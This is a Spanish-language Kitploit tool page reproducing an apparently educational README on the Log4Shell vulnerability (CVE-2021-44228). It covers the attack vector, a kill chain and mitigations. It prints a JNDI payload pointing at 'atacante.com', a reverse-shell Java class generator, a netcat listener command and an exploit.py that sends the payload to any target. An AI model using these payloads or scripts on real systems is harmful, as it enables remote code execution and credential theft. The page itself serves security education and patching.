Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-44228 — Análisis educativo de CVE-2021-44228 (Log4Shell) con scripts PoC, desglose del vector de ataque y guía de mitigación para entender y probar la vulnerabilidad crítica de RCE en Apache Log4j. | Kitploit
Herramientas/GitHubGitHub/kaleth4/cve-2021-44228
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubkaleth4/cve-2021-44228

CVE-2021-44228

Análisis educativo de CVE-2021-44228 (Log4Shell) con scripts PoC, desglose del vector de ataque y guía de mitigación para entender y probar la vulnerabilidad crítica de RCE en Apache Log4j.

Ver Repositorio
hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

🛡️ CVE-2021-44228: Análisis de Log4Shell - La Vulnerabilidad que Revolucionó la Seguridad Java

Impacto Crítico (CVSS 10.0) | Descubierta en 2021, esta falla en Apache Log4j permite ejecución remota de código (RCE) y afecta a millones de sistemas globales. ¡Aún hoy, es un recordatorio clave para la ciberseguridad!

Severity: Critical
Affected: Apache Log4j 2.x
Discovered: 2021


🔍 ¿Qué es Log4Shell?

CVE-2021-44228, conocida como Log4Shell, es una vulnerabilidad crítica de Ejecución Remota de Código (RCE) en la biblioteca de logging Apache Log4j 2. Esta falla permite a atacantes maliciosos ejecutar código arbitrario en servidores vulnerables simplemente enviando una cadena de texto specially crafted que la aplicación registra.

  • Por qué es tan peligrosa? Log4j es omnipresente en aplicaciones Java, incluyendo servicios en la nube, apps web y software empresarial. Su explotación no requiere autenticación y puede propagarse fácilmente a través de entradas de usuario como headers HTTP, formularios o chats.
  • Descubierta por: Chen Zhaojun de Alibaba Cloud Security (noviembre 2021). Divulgada públicamente el 9 de diciembre de 2021, desencadenando alertas globales de CISA, NCSC y más.
  • Impacto global: Afectó a cientos de millones de dispositivos. Empresas como Minecraft, Twitter y Cisco fueron impactadas. Se observaron ataques masivos: >100 por minuto en su pico.

Log4Shell no está sola; derivó en CVE-2021-45046 (RCE/DoS), CVE-2021-45105 (DoS) y CVE-2021-4104 (RCE en Log4j 1.2).


💀 Vector de Ataque y Funcionamiento

El núcleo del problema es el manejo inseguro de JNDI (Java Naming and Directory Interface) en Log4j, que resuelve lookups remotos sin sanitización.

Ejemplo de Payload Básico

root@kitploit:~
${jndi:ldap://atacante.com:1389/Exploit}

Cómo funciona:

  1. El atacante inyecta el payload en un mensaje registrado (e.g., User-Agent en HTTP).
  2. Log4j detecta ${...} y activa un lookup JNDI.
  3. El servidor vulnerable se conecta al servidor LDAP/RMI/DNS del atacante.
  4. Se descarga y ejecuta una clase Java maliciosa (e.g., shell inversa).

Protocolos explotables: LDAP, RMI, DNS, IIOP, etc. Esto habilita amenazas como:

  • Coinmining: Robo de recursos para minar cripto.
  • Ransomware: Cifrado de datos (e.g., Khonsari, Night Sky).
  • DoS/DDoS: Sobrecarga de sistemas (e.g., vía Mirai botnet).
  • Movimiento lateral: Herramientas como Cobalt Strike para escalada.

Cadena de Infección (Kill Chain):

  1. Reconocimiento: Escaneo de puertos y headers para detectar Log4j.
  2. Inyección: Envío del payload en entradas no sanitizadas.
  3. Resolución: JNDI contacta al servidor atacante.
  4. Ejecución: Código malicioso se carga y corre (e.g., descarga de malware como Kinsing).
  5. Persistencia: Exfiltración de credenciales (/etc/passwd, /etc/shadow) o instalación de backdoors.

📈 Detalles Técnicos

Estadísticas de Impacto:

  • 90% de entornos en la nube expuestos inicialmente.

  • Explotada por grupos estatales (China, Corea del Norte) y cibercriminales.
  • Parche inicial: Log4j 2.15.0 (diciembre 2021), pero incompleto; versión segura: 2.17.1+.

🚀 Prueba de Concepto (PoC) Educativa

⚠️ Advertencia: Este contenido es exclusivamente para fines educativos y pruebas autorizadas. No uses esto en sistemas sin permiso explícito. Explotar vulnerabilidades sin autorización es ilegal (e.g., viola leyes como CFAA en EE.UU.). Siempre realiza pentesting ético.

Basado en repositorios públicos como kozmer/log4j-shell-poc, aquí un overview simplificado de un PoC en entornos controlados (e.g., Docker/VM local).

Pasos Generales para Simular (Entorno Vulnerable)

  1. Clona el Repo: git clone https://github.com/kozmer/log4j-shell-poc.git && cd log4j-shell-poc/
  2. Construye Docker: docker build -t log4j-vuln . && docker run --network host -p 8080:8080 log4j-vuln
  3. Instala Java Vulnerable (e.g., JDK 8u202): Descarga de mirrors confiables, extrae y configura ruta (e.g., /usr/bin/jdk1.8.0_202).
  4. Modifica Script PoC (poc.py): Ajusta paths de Java y IPs. Ejemplo snippet corregido (versión simplificada):
root@kitploit:~
#!/usr/bin/env python3
import argparse
from colorama import Fore, init
import subprocess
import threading
from pathlib import Path
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler

CUR_FOLDER = Path(__file__).parent.resolve()

def generate_payload(userip: str, lport: int) -> None:
    program = f"""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {{
    public Exploit() throws Exception {{
        String host="{userip}";
        int port={lport};
        String cmd="/bin/sh";
        Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
        Socket s = new Socket(host, port);
        // ... (código de shell inversa simplificado)
    }}
}}
"""
    p = CUR_FOLDER / "Exploit.java"
    try:
        p.write_text(program)
        subprocess.run([f"{CUR_FOLDER}/jdk1.8.0_202/bin/javac", str(p)])
        print(Fore.GREEN + '[+] Clase Exploit generada exitosamente')
    except Exception as e:
        print(Fore.RED + f'[-] Error: {e}')

# ... (funciones para LDAP server y web server similares al original)

def main():
    init(autoreset=True)
    print(Fore.BLUE + "[!] PoC Educativa para CVE-2021-44228 - ¡Úsala solo en labs!")
    # Argumentos: --userip localhost --webport 8000 --lport 9001
    # Lanza LDAP, web server y genera payload

if __name__ == "__main__":
    main()
  1. Ejecuta: python3 poc.py --userip 127.0.0.1 --webport 8000 --lport 9001
  2. Listener (Netcat): nc -lvnp 9001 - Monitorea la shell inversa.
  3. Inyecta Payload: En la app vulnerable (http://localhost:8080), usa ${jndi:ldap://127.0.0.1:1389/a} en un campo de login/buscar.
  4. Verifica: Conexión en Netcat; logs en terminal muestran resolución JNDI.

PoC Simple en Python (Listener + Exploit): Para demos rápidas, usa este dúo de scripts (ejecuta listener primero).

listener.py:

root@kitploit:~
import socket
import threading

def start_listener(ip, port):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((ip, port))
    server.listen(1)
    print(f"[*] Listener en {ip}:{port}...")
    conn, addr = server.accept()
    print(f"[+] Conexión de {addr}")
    data = conn.recv(4096)
    print(data.decode('utf-8', errors='ignore'))
    conn.close()

if __name__ == "__main__":
    threading.Thread(target=start_listener, args=("0.0.0.0", 1389)).start()
    input("Presiona Enter para detener...\n")  # Mantiene vivo

exploit.py:

root@kitploit:~
import requests
import argparse

def send_exploit(target, lhost, lport):
    payload = f"${{jndi:ldap://{lhost}:{lport}/Exploit}}"
    headers = {'User-Agent': payload}
    try:
        r = requests.get(target, headers=headers, timeout=10)
        print(f"[+] Enviado a {target} | Status: {r.status_code}")
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-t", "--target", required=True)
    parser.add_argument("-l", "--lhost", required=True)
    parser.add_argument("-p", "--lport", type=int, default=1389)
    args = parser.parse_args()
    send_exploit(args.target, args.lhost, args.lport)

Ejecución: python3 listener.py & python3 exploit.py -t "http://target:8080" -l "127.0.0.1"

Notas: Requiere Marshalsec para LDAP simulado. Prueba solo en labs aislados.


🛡️ Mitigación y Parches

¡Actúa ya! Log4Shell es evitable con actualizaciones y configuraciones.

1. Actualización Recomendada (Prioridad Alta)

  • Sube a Log4j 2.17.1 o superior (deshabilita JNDI por defecto).
  • Descarga: Apache Log4j Releases.
  • Verifica dependencias indirectas con herramientas como mvn dependency:tree o Snyk.

2. Quick Fixes (Temporal)

  • JVM Flag: -Dlog4j2.formatMsgNoLookups=true
  • Entorno: LOG4J_FORMAT_MSG_NO_LOOKUPS=true
  • Config Log4j: En log4j2.xml, agrega <Configuration xmlns:log4j="..."> <property name="log4j2.formatMsgNoLookups" value="true"/></Configuration>

3. Eliminación Manual

root@kitploit:~
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
  • Remueve clases JNDI de JARs.

4. Medidas Adicionales

  • WAF/IPS: Bloquea payloads ${jndi:*} (e.g., reglas en ModSecurity o Cloudflare).
  • Escaneo: Usa tools como Nuclei o Nessus para detectar versiones vulnerables.
  • Virtual Patching: Implementa en firewalls para bloquear lookups remotos.
  • Monitoreo: Actualiza antivirus/EDR (e.g., Seqrite IPS rules para Log4Shell).

Para CVE Derivadas:

  • CVE-2021-45046: Actualiza a 2.16.0+ y deshabilita message lookups.
  • CVE-2021-45105: Evita lookups recursivos en configs no default.
  • CVE-2021-4104: No uses JMSAppender con JNDI en Log4j 1.2.

📚 Recursos Adicionales

  • Oficiales:
    • NVD - CVE-2021-44228
    • Apache Log4j Security Bulletin
  • Guías:
    • Microsoft Defender: Manejo de Log4Shell
    • Tenable: FAQs sobre Log4Shell
    • Trend Micro: Impacto y Mitigación
  • PoCs Educativos: GitHub - Log4j Shell PoC (con disclaimer legal).
  • Análisis Avanzado: Seqrite: Explotación Indiscriminada

Este README.md es para fines educativos y de concienciación en ciberseguridad. No promueve actividades ilegales. Si eres profesional de seguridad, evalúa tu entorno con herramientas como OWASP Dependency-Check. ¡Mantén tus sistemas actualizados para un mundo más seguro! 🔒

Última actualización: Basado en datos hasta 2023. Verifica fuentes oficiales para novedades.

Descargar herramienta
CaracterísticaDetalle
Puntaje CVSS v3.110.0 (CRÍTICO) 🔥 - Máxima gravedad posible.
Versiones AfectadasLog4j 2.0-beta9 a 2.14.1 (incluye derivadas hasta 2.16.0 para sub-CVEs).
Causa RaízSustitución de mensajes JNDI sin validación; lookups remotos habilitados.
VectoresRemoto, no autenticado; afecta Java 8+ en apps web/nube.
Productos ImpactadosApache Struts, Solr, Druid, Elasticsearch, Dubbo, VMware vCenter, y más.
ExplotaciónFácil: PoCs públicos en GitHub; no necesita privilegios.